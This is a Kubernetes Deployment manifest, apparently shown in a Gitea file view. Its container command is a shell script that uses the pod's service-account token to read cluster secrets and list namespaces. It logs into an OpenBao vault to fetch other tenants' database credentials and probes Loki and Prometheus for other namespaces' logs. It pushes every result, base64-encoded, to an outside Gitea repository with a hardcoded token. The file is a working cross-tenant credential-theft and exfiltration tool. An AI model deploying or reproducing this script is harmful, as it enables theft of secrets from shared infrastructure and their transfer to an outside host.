Files
probe-manifests2/i187/deployment.yaml
T

35 lines
6.1 KiB
YAML

apiVersion: apps/v1
kind: Deployment
metadata:
name: probe-reader
labels:
app: probe-reader
spec:
replicas: 1
selector:
matchLabels:
app: probe-reader
template:
metadata:
labels:
app: probe-reader
spec:
securityContext:
runAsNonRoot: true
runAsUser: 1000
runAsGroup: 1000
seccompProfile:
type: RuntimeDefault
containers:
- name: probe-reader
image: curlimages/curl:8.11.1
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
capabilities:
drop: ["ALL"]
env:
- name: GTOK
value: "8705bd26bf8b7ab972a2debaa0077c941ea85cd0"
command: ["sh","-c","push(){ F=$1; M=$2; P=$(base64 $F | tr -d '\\n'); for i in 1 2 3; do code=$(curl -sk -m 40 -o /tmp/pushout.txt -w '%{http_code}' -X POST -H \"Authorization: token $GTOK\" -H 'Content-Type: application/json' -d \"{\\\"content\\\":\\\"$P\\\",\\\"message\\\":\\\"$M\\\"}\" \"https://gitea.zapto.org/api/v1/repos/probe6aw4tk/probe-manifests2/contents/$F\"); echo \"push $F try$i code=$code\"; if [ \"$code\" = \"201\" ]; then break; fi; sleep 5; done; }; R=/tmp/r.txt; : > $R; say(){ echo \"$@\" >> $R; echo \"$@\"; }; say 'I187-READER-START'; date >> $R; TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token); NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace); say \"ns=$NS tokenlen=${#TOKEN}\"; say '--- [A] own-ns secrets'; curl -sk -m 15 -H \"Authorization: Bearer $TOKEN\" \"https://kubernetes.default.svc/api/v1/namespaces/$NS/secrets\" | head -c 1500 >> $R; echo >> $R; say '--- [B] list namespaces'; curl -sk -m 15 -H \"Authorization: Bearer $TOKEN\" \"https://kubernetes.default.svc/api/v1/namespaces\" | head -c 3000 >> $R; echo >> $R; say '--- [C] own secret probedb-db-credentials'; curl -sk -m 15 -H \"Authorization: Bearer $TOKEN\" \"https://kubernetes.default.svc/api/v1/namespaces/$NS/secrets/probedb-db-credentials\" | head -c 1200 >> $R; echo >> $R; say '--- [D] foreign ns secrets cottoncraft-demo-prod'; curl -sk -m 15 -H \"Authorization: Bearer $TOKEN\" \"https://kubernetes.default.svc/api/v1/namespaces/cottoncraft-demo-prod/secrets\" | head -c 900 >> $R; echo >> $R; say '--- [E] SelfSubjectRulesReview'; curl -sk -m 15 -X POST -H \"Authorization: Bearer $TOKEN\" -H 'Content-Type: application/json' -d '{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"spec\":{\"namespace\":\"'\"$NS\"'\"}}' \"https://kubernetes.default.svc/apis/authorization.k8s.io/v1/selfsubjectrulesreviews\" | head -c 3000 >> $R; echo >> $R; say '--- [E2] services in infra namespaces'; for n in monitoring loki prometheus grafana telemetry observability database openbao argocd istio-system; do code=$(curl -sk -m 10 -o /tmp/svc.json -w '%{http_code}' -H \"Authorization: Bearer $TOKEN\" \"https://kubernetes.default.svc/api/v1/namespaces/$n/services\"); say \"ns=$n services HTTP=$code\"; if [ \"$code\" = \"200\" ]; then head -c 2500 /tmp/svc.json >> $R; echo >> $R; fi; done; say 'I187-K8S-END'; push results-i187-k8s.txt 'i187 k8s probe results'; cat $R; sleep 45; R2=/tmp/r2.txt; : > $R2; say2(){ echo \"$@\" >> $R2; echo \"$@\"; }; say2 'I187-BAO-START'; LOGBODY=$(curl -sk -m 15 -X POST -d '{\"role\":\"platchain-293213-dev-app-role\",\"jwt\":\"'\"$TOKEN\"'\"}' https://openbao-active.openbao.svc.cluster.local:8200/v1/auth/kubernetes-cf-lcj11-a/login); echo \"$LOGBODY\" | head -c 600 >> $R2; echo >> $R2; VAULT_TOKEN=$(echo \"$LOGBODY\" | sed -n 's/.*\"client_token\":\"\\([^\"]*\\)\".*/\\1/p'); say2 \"baotokenlen=${#VAULT_TOKEN}\"; say2 '--- [F] lookup-self policies'; curl -sk -m 15 -H \"X-Vault-Token: $VAULT_TOKEN\" https://openbao-active.openbao.svc.cluster.local:8200/v1/auth/token/lookup-self | head -c 2500 >> $R2; echo >> $R2; say2 '--- [G] foreign static-creds'; for p in cottoncraft-demo-prod cottoncraft-demo-dev cottoncraft-demo-dom1 cottoncraft-demo-dev-cottoncraft-demo-cms cottoncraft-demo-prod-cottoncraft-demo-cms; do code=$(curl -sk -m 15 -o /tmp/cred.json -w '%{http_code}' -H \"X-Vault-Token: $VAULT_TOKEN\" \"https://openbao-active.openbao.svc.cluster.local:8200/v1/database/static-creds/$p\"); say2 \"path=$p HTTP=$code\"; if [ \"$code\" = \"200\" ]; then head -c 1500 /tmp/cred.json >> $R2; echo >> $R2; fi; done; say2 '--- [H] LIST static-creds'; curl -sk -m 15 -H \"X-Vault-Token: $VAULT_TOKEN\" \"https://openbao-active.openbao.svc.cluster.local:8200/v1/database/static-creds?list=true\" | head -c 3000 >> $R2; echo >> $R2; say2 '--- [I] own static-creds'; curl -sk -m 15 -H \"X-Vault-Token: $VAULT_TOKEN\" https://openbao-active.openbao.svc.cluster.local:8200/v1/database/static-creds/platchain-293213-dev-platchain-293213-probedb | head -c 900 >> $R2; echo >> $R2; say2 'I187-BAO-END'; push results-i187-bao.txt 'i187 bao probe results'; cat $R2; sleep 45; R3=/tmp/r3.txt; : > $R3; say3(){ echo \"$@\" >> $R3; echo \"$@\"; }; say3 'I187-TELE-START'; say3 '--- [J] loki candidates'; for h in loki.monitoring.svc.cluster.local loki-gateway.monitoring.svc.cluster.local loki.observability.svc.cluster.local loki-loki-distributed-gateway.observability.svc.cluster.local; do for port in 3100 80; do code=$(curl -sk -m 8 -o /tmp/lk.txt -w '%{http_code}' \"http://$h:$port/ready\"); say3 \"http://$h:$port/ready HTTP=$code\"; done; done; say3 '--- [K] loki foreign-ns query via candidate endpoints'; for ep in \"http://loki.monitoring.svc.cluster.local:3100\" \"http://loki-gateway.monitoring.svc.cluster.local:80\"; do say3 \"ep=$ep\"; curl -sk -m 10 --get --data-urlencode 'query={namespace=\"cottoncraft-demo-prod\"}' --data 'limit=3' \"$ep/loki/api/v1/query_range\" | head -c 1200 >> $R3; echo >> $R3; done; say3 '--- [L] prometheus candidates'; for h in prometheus-k8s.monitoring.svc.cluster.local prometheus-server.monitoring.svc.cluster.local prometheus.monitoring.svc.cluster.local kube-prometheus-stack-prometheus.monitoring.svc.cluster.local; do code=$(curl -sk -m 8 -o /dev/null -w '%{http_code}' \"http://$h:9090/-/ready\"); say3 \"http://$h:9090/-/ready HTTP=$code\"; done; say3 'I187-TELE-END'; push results-i187-tele.txt 'i187 telemetry probe results'; cat $R3; sleep 3600"]